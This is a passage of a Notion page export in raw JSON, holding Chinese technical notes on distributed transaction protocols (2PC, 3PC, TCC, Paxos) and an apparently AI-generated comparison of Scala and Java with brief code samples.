Request)。"]]},"created_time":1716533767484,"last_edited_time":1716533767504,"parent_id":"97d74d85-0bc7-411c-afd5-7b64fccc9cf9","parent_table":"block","alive":true}},"afd784d0-301f-4083-9ada-e3661a568cec":{"value":{"id":"afd784d0-301f-4083-9ada-e3661a568cec","type":"bulleted_list","properties":{"title":[["参与者执行事务操作并将操作结果写入日志,但不提交(Commit),然后向协调者返回准备就绪(Ready)或失败(Abort)。"]]},"created_time":1716533767484,"last_edited_time":1716533767504,"parent_id":"97d74d85-0bc7-411c-afd5-7b64fccc9cf9","parent_table":"block","alive":true}},"2e891468-d80b-40f3-ae87-4a510b099bcf":{"value":{"id":"2e891468-d80b-40f3-ae87-4a510b099bcf","type":"bulleted_list","properties":{"title":[["如果所有参与者都返回准备就绪,协调者发送提交请求(Commit Request),参与者提交事务。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"37e17bee-dbf1-44d9-8a83-538ed63265c2","parent_table":"block","alive":true}},"0e39b6f8-2c24-482f-9d72-5efd2a7be7d0":{"value":{"id":"0e39b6f8-2c24-482f-9d72-5efd2a7be7d0","type":"bulleted_list","properties":{"title":[["如果有任何一个参与者返回失败,协调者发送回滚请求(Rollback Request),参与者回滚事务。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"37e17bee-dbf1-44d9-8a83-538ed63265c2","parent_table":"block","alive":true}},"33c684b4-e18c-4c94-8484-1526794a1203":{"value":{"id":"33c684b4-e18c-4c94-8484-1526794a1203","type":"bulleted_list","properties":{"title":[["协调者向所有参与者发送询问请求(CanCommit Request)。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"386e7837-1d61-40e6-8971-43d3d91b849d","parent_table":"block","alive":true}},"24491319-d001-41d9-8631-6f11025e6c5e":{"value":{"id":"24491319-d001-41d9-8631-6f11025e6c5e","type":"bulleted_list","properties":{"title":[["参与者返回同意(Yes)或拒绝(No)。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"386e7837-1d61-40e6-8971-43d3d91b849d","parent_table":"block","alive":true}},"bab19eda-cd4c-4050-a3d6-1229d6e755f1":{"value":{"id":"bab19eda-cd4c-4050-a3d6-1229d6e755f1","type":"bulleted_list","properties":{"title":[["阶段 2:准备提交阶段(PreCommit Phase)"]]},"content":["2f1ef8ed-a190-428d-9ae7-b768573f0ba9","621f9a60-8bf0-46c5-ae0b-e55e392ac9fd"],"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"58c4a8d9-1827-4fae-b3a0-164c01cc2915":{"value":{"id":"58c4a8d9-1827-4fae-b3a0-164c01cc2915","type":"bulleted_list","properties":{"title":[["阶段 3:提交阶段(DoCommit Phase)"]]},"content":["e26e498d-74ae-41b5-9aa0-05324c7e86a5"],"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"8393e307-4057-4c50-b98a-111264b61966":{"value":{"id":"8393e307-4057-4c50-b98a-111264b61966","type":"text","properties":{"title":[["优点"]]},"created_time":1716533767485,"last_edited_time":1716541658408,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ef326af5-8c0f-45d8-a0df-405650c12310":{"value":{"id":"ef326af5-8c0f-45d8-a0df-405650c12310","type":"bulleted_list","properties":{"title":[["减少了单点故障的影响:通过增加阶段,降低了协调者故障带来的风险。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e22cbc18-48aa-462f-ace7-cb0d4927a6be":{"value":{"id":"e22cbc18-48aa-462f-ace7-cb0d4927a6be","type":"bulleted_list","properties":{"title":[["更加非阻塞:参与者可以在等待协调者指令时进行超时处理。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"67fe2c20-5116-414a-ae2a-af345aa40653":{"value":{"id":"67fe2c20-5116-414a-ae2a-af345aa40653","type":"text","properties":{"title":[["缺点"]]},"created_time":1716533767486,"last_edited_time":1716541659421,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"93189cd8-0373-49c0-90c8-890d5396f1be":{"value":{"id":"93189cd8-0373-49c0-90c8-890d5396f1be","type":"bulleted_list","properties":{"title":[["实现复杂度增加。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"af8b7b7d-26f4-4d75-8981-8fc7f2b9ebb2":{"value":{"id":"af8b7b7d-26f4-4d75-8981-8fc7f2b9ebb2","type":"bulleted_list","properties":{"title":[["仍然存在网络分区可能带来的问题。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"9d52e0be-cb81-4c1a-ba73-83c965792b2f":{"value":{"id":"9d52e0be-cb81-4c1a-ba73-83c965792b2f","type":"text","properties":{"title":[["3. Try-Confirm/Cancel (TCC)"]]},"created_time":1716533767486,"last_edited_time":1716541660671,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5b5a139f-a303-4996-b7c5-37bc11dc0048":{"value":{"id":"5b5a139f-a303-4996-b7c5-37bc11dc0048","type":"text","properties":{"title":[["实现思路"]]},"created_time":1716533767486,"last_edited_time":1716541662380,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"5cff95da-59e2-4b12-8827-f30ac76945bb":{"value":{"id":"5cff95da-59e2-4b12-8827-f30ac76945bb","type":"text","properties":{"title":[["TCC 模型分为三个操作:"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a444e668-b49a-4213-8918-a0899b8d5fda":{"value":{"id":"a444e668-b49a-4213-8918-a0899b8d5fda","type":"bulleted_list","properties":{"title":[["Try:尝试执行,预留资源。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"6ee8a614-7544-4f85-bc85-9ac93443298b":{"value":{"id":"6ee8a614-7544-4f85-bc85-9ac93443298b","type":"bulleted_list","properties":{"title":[["Confirm:确认执行,真正提交事务。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"df6b6f7f-f360-46f4-a87c-c884a8e5f9d9":{"value":{"id":"df6b6f7f-f360-46f4-a87c-c884a8e5f9d9","type":"bulleted_list","properties":{"title":[["Cancel:取消执行,释放资源。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"63e131d2-129c-481b-b1c9-f4296794bbb1":{"value":{"id":"63e131d2-129c-481b-b1c9-f4296794bbb1","type":"text","properties":{"title":[["优点"]]},"created_time":1716533767486,"last_edited_time":1716541663468,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"237d7796-8a14-43c7-90d1-6c061a1742cb":{"value":{"id":"237d7796-8a14-43c7-90d1-6c061a1742cb","type":"bulleted_list","properties":{"title":[["灵活性高:可以根据业务需求自定义 Try、Confirm 和 Cancel 的逻辑。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"afd8bcd0-8d35-436c-b480-5d59754a2d78":{"value":{"id":"afd8bcd0-8d35-436c-b480-5d59754a2d78","type":"bulleted_list","properties":{"title":[["异步执行:Try 操作可以异步执行,提高系统性能。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"27bc142d-fdbd-4e60-aece-f11c1aa52a60":{"value":{"id":"27bc142d-fdbd-4e60-aece-f11c1aa52a60","type":"text","properties":{"title":[["缺点"]]},"created_time":1716533767486,"last_edited_time":1716541664437,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"4e04ffba-ff5c-45a6-a61d-6bf4a810c484":{"value":{"id":"4e04ffba-ff5c-45a6-a61d-6bf4a810c484","type":"bulleted_list","properties":{"title":[["实现复杂度高:需要明确实现每个步骤的业务逻辑。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"82e56456-feaf-4dfd-a38f-d170a69d3637":{"value":{"id":"82e56456-feaf-4dfd-a38f-d170a69d3637","type":"bulleted_list","properties":{"title":[["一致性依赖于业务逻辑的正确实现。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"fd017c1b-e336-4d52-9495-b64c8ec79ace":{"value":{"id":"fd017c1b-e336-4d52-9495-b64c8ec79ace","type":"text","properties":{"title":[["4. Paxos"]]},"created_time":1716533767486,"last_edited_time":1716541666516,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"55e9ad93-435d-460d-9271-60e0db476def":{"value":{"id":"55e9ad93-435d-460d-9271-60e0db476def","type":"text","properties":{"title":[["实现思路"]]},"created_time":1716533767486,"last_edited_time":1716541668506,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f499f38a-690f-4368-a166-0b2b9cefc2a1":{"value":{"id":"f499f38a-690f-4368-a166-0b2b9cefc2a1","type":"text","properties":{"title":[["Paxos 是一种分布式一致性算法,用于在分布式系统中达成共识。主要步骤如下:"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d279a2c7-69d5-466a-a705-4f99996a0b76":{"value":{"id":"d279a2c7-69d5-466a-a705-4f99996a0b76","type":"bulleted_list","properties":{"title":[["提议阶段(Prepare Phase)"]]},"content":["e3872d90-3af5-4abb-a4fc-486b2aa5fb9b","805db988-3502-4935-b378-24887c71217c"],"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7803ea7d-8104-42f2-9dc4-1db66312ce95":{"value":{"id":"7803ea7d-8104-42f2-9dc4-1db66312ce95","type":"bulleted_list","properties":{"title":[["提交阶段(Accept Phase)"]]},"content":["26de8304-7a2d-4d5e-a18f-98623bc57e25","67f2c8e3-63f6-4fb6-824d-c49387bbddf3"],"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2f1ef8ed-a190-428d-9ae7-b768573f0ba9":{"value":{"id":"2f1ef8ed-a190-428d-9ae7-b768573f0ba9","type":"bulleted_list","properties":{"title":[["如果所有参与者都同意,协调者发送准备提交请求(PreCommit Request)。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"bab19eda-cd4c-4050-a3d6-1229d6e755f1","parent_table":"block","alive":true}},"621f9a60-8bf0-46c5-ae0b-e55e392ac9fd":{"value":{"id":"621f9a60-8bf0-46c5-ae0b-e55e392ac9fd","type":"bulleted_list","properties":{"title":[["参与者在准备提交阶段确认准备就绪。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"bab19eda-cd4c-4050-a3d6-1229d6e755f1","parent_table":"block","alive":true}},"e26e498d-74ae-41b5-9aa0-05324c7e86a5":{"value":{"id":"e26e498d-74ae-41b5-9aa0-05324c7e86a5","type":"bulleted_list","properties":{"title":[["协调者发送提交请求(DoCommit Request),参与者提交事务。"]]},"created_time":1716533767485,"last_edited_time":1716533767504,"parent_id":"58c4a8d9-1827-4fae-b3a0-164c01cc2915","parent_table":"block","alive":true}},"e3872d90-3af5-4abb-a4fc-486b2aa5fb9b":{"value":{"id":"e3872d90-3af5-4abb-a4fc-486b2aa5fb9b","type":"bulleted_list","properties":{"title":[["提议者(Proposer)向所有接受者(Acceptor)发送提议请求,附带提议编号。"]]},"created_time":1716533767486,"last_edited_time":1716533767504,"parent_id":"d279a2c7-69d5-466a-a705-4f99996a0b76","parent_table":"block","alive":true}},"805db988-3502-4935-b378-24887c71217c":{"value":{"id":"805db988-3502-4935-b378-24887c71217c","type":"bulleted_list","properties":{"title":[["接受者返回承诺不再接受编号低于当前请求的提议。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"d279a2c7-69d5-466a-a705-4f99996a0b76","parent_table":"block","alive":true}},"26de8304-7a2d-4d5e-a18f-98623bc57e25":{"value":{"id":"26de8304-7a2d-4d5e-a18f-98623bc57e25","type":"bulleted_list","properties":{"title":[["提议者收到多数接受者的承诺后,发送提交请求。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"7803ea7d-8104-42f2-9dc4-1db66312ce95","parent_table":"block","alive":true}},"67f2c8e3-63f6-4fb6-824d-c49387bbddf3":{"value":{"id":"67f2c8e3-63f6-4fb6-824d-c49387bbddf3","type":"bulleted_list","properties":{"title":[["接受者同意该提议并更新状态。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"7803ea7d-8104-42f2-9dc4-1db66312ce95","parent_table":"block","alive":true}},"451c85cb-2e06-43d0-a0f8-ea49cccff3b2":{"value":{"id":"451c85cb-2e06-43d0-a0f8-ea49cccff3b2","type":"bulleted_list","properties":{"title":[["学习阶段(Learn Phase)"]]},"content":["53827895-394b-4228-982a-d8840ea21f20"],"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"9c90bac6-b729-469a-88a8-78455e493839":{"value":{"id":"9c90bac6-b729-469a-88a8-78455e493839","type":"text","properties":{"title":[["优点"]]},"created_time":1716533767487,"last_edited_time":1716541669810,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"a79e00ab-c3f0-4179-aa18-a90eb8364dcb":{"value":{"id":"a79e00ab-c3f0-4179-aa18-a90eb8364dcb","type":"bulleted_list","properties":{"title":[["高容错性:在大多数节点存活的情况下仍能达成一致。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ede9609a-ec98-4e67-8928-eb3d905d7b1e":{"value":{"id":"ede9609a-ec98-4e67-8928-eb3d905d7b1e","type":"bulleted_list","properties":{"title":[["非阻塞:在网络分区情况下仍能继续操作。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"0a6870a5-5116-4d6c-a639-783da9f583ef":{"value":{"id":"0a6870a5-5116-4d6c-a639-783da9f583ef","type":"text","properties":{"title":[["缺点"]]},"created_time":1716533767487,"last_edited_time":1716541670949,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"6dd92d31-9fa8-480b-a6e7-0fb5b73537de":{"value":{"id":"6dd92d31-9fa8-480b-a6e7-0fb5b73537de","type":"bulleted_list","properties":{"title":[["高复杂度:实现和理解相对复杂。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"128202bf-4aa2-4a55-8179-d6666fe177d4":{"value":{"id":"128202bf-4aa2-4a55-8179-d6666fe177d4","type":"bulleted_list","properties":{"title":[["性能开销:多次通信和协调带来较高的性能开销。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"cc89dc63-5dd2-4681-a162-c19791bd0456":{"value":{"id":"cc89dc63-5dd2-4681-a162-c19791bd0456","type":"divider","created_time":1716541678256,"last_edited_time":1716541678258,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ad5be0ab-c8a2-4f68-8343-4dbafa08fe86":{"value":{"id":"ad5be0ab-c8a2-4f68-8343-4dbafa08fe86","type":"text","created_time":1716541678303,"last_edited_time":1716541678303,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7c07bd38-b272-4cdd-90fb-8ef442a981e5":{"value":{"id":"7c07bd38-b272-4cdd-90fb-8ef442a981e5","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"bb617af5-765a-4be9-b768-421b16144e3a":{"value":{"id":"bb617af5-765a-4be9-b768-421b16144e3a","type":"bulleted_list","properties":{"title":[["2PC",[["b"]]],[" 和 "],["3PC",[["b"]]],[" 适用于需要严格事务一致性的场景,但存在同步阻塞和单点故障问题。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c66d8b4b-a15c-445c-918e-53c0fa8026d8":{"value":{"id":"c66d8b4b-a15c-445c-918e-53c0fa8026d8","type":"bulleted_list","properties":{"title":[["TCC",[["b"]]],[" 提供了更高的灵活性和性能,但需要自定义业务逻辑实现。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"2f94de31-cdf4-44db-95af-c39c5e2b19fa":{"value":{"id":"2f94de31-cdf4-44db-95af-c39c5e2b19fa","type":"bulleted_list","properties":{"title":[["Paxos",[["b"]]],[" 适用于需要高容错和一致性的分布式系统,但实现复杂且性能开销较大。根据具体业务需求和系统特性选择合适的分布式事务方案,是设计分布式系统时的关键决策。"]]},"created_time":1716533767487,"last_edited_time":1716603571943,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"618a4a4f-6300-42d8-bb18-77739164a028":{"value":{"id":"618a4a4f-6300-42d8-bb18-77739164a028","type":"bulleted_list","properties":{"title":[["2PC和3PC在做取舍,一致性?可用性?"]]},"created_time":1716603572999,"last_edited_time":1716603603934,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"1dc6b2ea-047c-4aa1-8798-af8c60e4d3b4":{"value":{"id":"1dc6b2ea-047c-4aa1-8798-af8c60e4d3b4","type":"text","format":{"copied_from_pointer":{"id":"8d80bbb9-969e-4c58-9990-ce44b4712b32","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716533749813,"last_edited_time":1716533749813,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c81fe88b-6d8a-4917-b16f-87b1baca4474":{"value":{"id":"c81fe88b-6d8a-4917-b16f-87b1baca4474","type":"sub_header","properties":{"title":[["7. Scala跟Java的区别关系"]]},"format":{"copied_from_pointer":{"id":"70dc2387-d34b-4685-9015-b6c7b3da403e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381033354,"last_edited_time":1716603192466,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"32257422-dba7-4cac-9eb7-8c7f5bc7a8d9":{"value":{"id":"32257422-dba7-4cac-9eb7-8c7f5bc7a8d9","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"d0ce4772-0274-4793-97dd-f7d3f475c0d4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381037178,"last_edited_time":1714381037182,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"d0ce4772-0274-4793-97dd-f7d3f475c0d4"}},"ba450acf-c8b6-4caf-8bc2-2e8ac3d41067":{"value":{"id":"ba450acf-c8b6-4caf-8bc2-2e8ac3d41067","type":"quote","properties":{"title":[["Scala跟Java的区别关系"]]},"format":{"copied_from_pointer":{"id":"d6b01657-b299-4ee3-9369-d832ccb4bfcc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714381037178,"last_edited_time":1716532811880,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true,"copied_from":"d6b01657-b299-4ee3-9369-d832ccb4bfcc"}},"af00688e-8ae8-470a-82b0-fced94f647eb":{"value":{"id":"af00688e-8ae8-470a-82b0-fced94f647eb","type":"text","properties":{"title":[["Scala 和 Java 都是运行在 JVM(Java Virtual Machine)上的编程语言,但它们在设计理念、语法特性和应用场景等方面有着显著的区别和关系。以下是一些主要的区别和关系:"]]},"created_time":1716532815538,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"25b01735-c78c-4de0-b950-3c847ee68845":{"value":{"id":"25b01735-c78c-4de0-b950-3c847ee68845","type":"text","properties":{"title":[["设计理念与范式"]]},"created_time":1716532815539,"last_edited_time":1716532849474,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"598562c6-7038-4f5c-9353-646e6e15b743":{"value":{"id":"598562c6-7038-4f5c-9353-646e6e15b743","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 是一种面向对象编程(OOP)语言,强调类和对象的使用。"]]},"created_time":1716532815539,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"524e6181-fab7-4508-97c2-926e45ef7289":{"value":{"id":"524e6181-fab7-4508-97c2-926e45ef7289","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 是一种多范式编程语言,支持面向对象编程(OOP)和函数式编程(FP),其设计目标是提供一种更简洁、灵活和表达力更强的编程方式。语法简洁性"]]},"created_time":1716532815539,"last_edited_time":1716532860286,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"ab973de6-46d4-48fa-bac5-3af53f61a6bb":{"value":{"id":"ab973de6-46d4-48fa-bac5-3af53f61a6bb","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 语法相对冗长,需要写较多的模板代码(boilerplate code)。"]]},"created_time":1716532815540,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"507b0255-0d78-457a-bacc-134cc7d085af":{"value":{"id":"507b0255-0d78-457a-bacc-134cc7d085af","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 语法简洁,减少了大量的模板代码。例如,Scala 中可以使用类型推断来减少显式类型声明。"]]},"created_time":1716532815540,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"217e93a1-b3f5-4952-8fc5-fcbfceeb80c4":{"value":{"id":"217e93a1-b3f5-4952-8fc5-fcbfceeb80c4","type":"code","properties":{"title":[["// Java 代码示例\npublic class HelloWorld {\n public static void main(String[] args) {\n System.out.println(\"Hello, World!\");\n }\n}\n\n// Scala 代码示例\nobject HelloWorld extends App {\n println(\"Hello, World!\")\n}"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716532815540,"last_edited_time":1716532871183,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"53827895-394b-4228-982a-d8840ea21f20":{"value":{"id":"53827895-394b-4228-982a-d8840ea21f20","type":"bulleted_list","properties":{"title":[["一旦提议被多数接受者接受,提议者通知所有节点该提议已被选定。"]]},"created_time":1716533767487,"last_edited_time":1716533767504,"parent_id":"451c85cb-2e06-43d0-a0f8-ea49cccff3b2","parent_table":"block","alive":true}},"c6db6086-cfe2-4bb3-bba1-451070e66f53":{"value":{"id":"c6db6086-cfe2-4bb3-bba1-451070e66f53","type":"text","properties":{"title":[[" 函数式编程支持"]]},"created_time":1716532815540,"last_edited_time":1716532903107,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"e95e4a28-e195-4b67-8306-dbb51b79bafb":{"value":{"id":"e95e4a28-e195-4b67-8306-dbb51b79bafb","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 虽然在 Java 8 之后引入了 lambda 表达式和 Stream API,但其函数式编程特性相对有限。"]]},"created_time":1716532815540,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"3469c77e-5bf0-42f5-9592-f650e2ea5b9d":{"value":{"id":"3469c77e-5bf0-42f5-9592-f650e2ea5b9d","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 原生支持函数式编程,拥有强大的高阶函数、不可变数据结构和模式匹配等特性。"]]},"created_time":1716532815541,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"508b0020-5e75-4c71-a18a-60d6c504b35d":{"value":{"id":"508b0020-5e75-4c71-a18a-60d6c504b35d","type":"code","properties":{"title":[["// Java 中的 lambda 表达式\nList list = Arrays.asList(\"a\", \"b\", \"c\");\nlist.forEach(item -> System.out.println(item));\n\n// Scala 中的高阶函数\nval list = List(\"a\", \"b\", \"c\")\nlist.foreach(println)"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1716532815541,"last_edited_time":1716532892303,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"162686bc-97cb-42a7-b630-4fc4bcacb4be":{"value":{"id":"162686bc-97cb-42a7-b630-4fc4bcacb4be","type":"text","properties":{"title":[["类型系统"]]},"created_time":1716532815541,"last_edited_time":1716532906602,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"f1b6991d-a040-4a48-99a2-d0fd193dd414":{"value":{"id":"f1b6991d-a040-4a48-99a2-d0fd193dd414","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 使用相对传统的类型系统,泛型在某些情况下可能带来复杂性。"]]},"created_time":1716532815541,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"7367d285-043e-4eec-a1bc-44ef9d27bed7":{"value":{"id":"7367d285-043e-4eec-a1bc-44ef9d27bed7","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 拥有更强大和灵活的类型系统,包括类型推断、协变和逆变、隐式转换、类型类等特性。"]]},"created_time":1716532815541,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"652202c1-f2fd-4d17-9e94-4177668e9386":{"value":{"id":"652202c1-f2fd-4d17-9e94-4177668e9386","type":"text","properties":{"title":[["并发编程模型"]]},"created_time":1716532815541,"last_edited_time":1716532911257,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"c1209b91-132d-4b37-8f91-1fb4b21a0f4e":{"value":{"id":"c1209b91-132d-4b37-8f91-1fb4b21a0f4e","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 提供了线程、同步块、并发包(如 "],["java.util.concurrent",[["c"]]],[")等用于并发编程。"]]},"created_time":1716532815542,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"b70cbc03-3da0-4f36-abe8-2b791e38e206":{"value":{"id":"b70cbc03-3da0-4f36-abe8-2b791e38e206","type":"bulleted_list","properties":{"title":[["Scala",[["b"]]],[" 提供了更高级的并发编程模型,如 Akka Actor 模型,用于简化复杂的并发编程。"]]},"created_time":1716532815542,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"d9c36b49-f04a-4af7-91e5-54d6dbe2270d":{"value":{"id":"d9c36b49-f04a-4af7-91e5-54d6dbe2270d","type":"text","properties":{"title":[["互操作性"]]},"created_time":1716532815542,"last_edited_time":1716532915795,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"db44ffc7-2adc-4742-ac0c-ed2f62a905ad":{"value":{"id":"db44ffc7-2adc-4742-ac0c-ed2f62a905ad","type":"bulleted_list","properties":{"title":[["Java",[["b"]]],[" 和 "],["Scala",[["b"]]],[" 都运行在 JVM 上,因此它们可以互相调用。Scala 可以直接调用 Java 的类库,反之亦然。"]]},"created_time":1716532815543,"last_edited_time":1716532815558,"parent_id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","parent_table":"block","alive":true}},"34725d72-bb56-4937-a988-4152ce4ea498":{"value":{"id":"34725d72-bb56-4937-a988-4152ce4ea498","type":"code","properties":{"title":[["// Scala 调用 Java 类库\nimport java.util.Date\n\nval now = new 